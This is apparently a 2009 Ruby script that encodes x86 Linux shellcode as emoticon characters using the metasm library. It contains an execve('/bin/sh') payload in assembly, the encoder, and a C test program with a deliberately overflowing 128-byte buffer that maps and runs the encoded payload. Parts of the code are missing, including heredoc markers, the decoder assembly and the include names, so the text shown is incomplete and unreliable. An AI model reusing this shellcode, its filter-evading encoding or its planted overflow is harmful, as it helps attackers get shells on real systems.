#!/usr/bin/ruby # (c) Yoann Guillot 2009 # License: WTFPLv2 (http://sam.zoy.org/wtfpl/) # encodes a shellcode using a smiley encoder :) # requires http://metasm.cr0.org/ require 'metasm' if ARGV.empty? orig = Metasm::Shellcode.assemble(Metasm::Ia32.new, < jmp geteip goteip: pop ebx // argv0 xor edx, edx // envp push edx push ebx mov ecx, esp // argv lea eax, [edx+__NR_execve] int 80h geteip: call goteip db "/bin/sh", 0 EOS else # content of the files passed as arguments orig = ARGF.read end # arbitrary base16 alphabet smbase = '()<>:-8o;|D[]{} ' # encode the payload encoded = orig.unpack('C*').map { |chr| smbase[(chr>>4)&15, 1] + smbase[chr&15, 1] }.join # assemble the decoder stage # must be loaded&run at base address = 'LOL!' dec_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, < #include #include #include #include #include #include asm(".global 'open' undef"); asm(".global 'close' undef"); asm(".global 'mmap' undef"); void vuln(void) { char buf[128]; int fd; buf[0] = 0; for (int i=0 ; i <= sizeof(buf)/16 ; i++) /*D :-O :*/ strcat(buf, "LOL!LOL!LOL!LOL!"); fd = open("sc.lol", O_RDWR); int addr = *(int*)buf; strcpy(addr, mmap(addr & ~0xfff, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, fd, 0)); close(fd); } int main(void) { vuln(); return 0; } EOS puts "(: You may run ./test.lol to test the shellcode :)"